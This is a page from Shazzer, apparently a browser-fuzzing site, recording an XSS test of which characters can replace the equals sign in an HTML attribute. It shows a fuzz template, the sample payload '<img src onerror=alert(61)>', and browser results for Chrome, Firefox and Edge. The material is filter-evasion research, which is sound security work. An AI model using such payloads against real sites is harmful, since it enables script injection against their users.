Shazzer logo

Characters allowed instead of equal sign

Chrome logo 1
Firefox logo 1
Edge logo 1

This XSS vector shows what characters can be used instead of equal sign on attribute

c3l3si4n
Created byc3l3si4n
Created Apr 28, 2024
Updated May 27, 2025

Tweet
Detecting browser...
CategoryDOM Behavior
VisibilityPublic
TypeXSS
CharsetUTF-8
Template used:
<img src onerror$[chr]log($[i])>

Sample payloads

<img src onerror=alert(61)>

Fuzz results

Chrome logo
Chrome 145.0.0.0 desktop macOS 10.15.7
Updated17 Feb 2026
Found 1 result
Loading...
Chrome logo
Chrome 144.0.0.0 desktop Windows NT 10.0older version
Updated25 Jan 2026
Found 1 result
Loading...
Chrome logo
Chrome 124.0.0.0 Unknown Unknownolder version
Updated28 Apr 2024
Found 1 result
Loading...
Firefox logo
Firefox 148.0 desktop Windows NT 10.0
Updated23 Feb 2026
Found 1 result
Loading...
Firefox logo
Firefox 147.0 desktop Linuxolder version
Updated1 Feb 2026
Found 1 result
Loading...
Firefox logo
Firefox 144.0 desktop Linux Unknownolder version
Updated1 Dec 2025
Found 1 result
Loading...
Firefox logo
Firefox 141.0 desktop macOS 10.15older version
Updated26 Jul 2025
Found 1 result
Loading...
Edge logo
Microsoft Edge 145.0.0.0 desktop Windows NT 10.0
Updated18 Feb 2026
Found 1 result
Loading...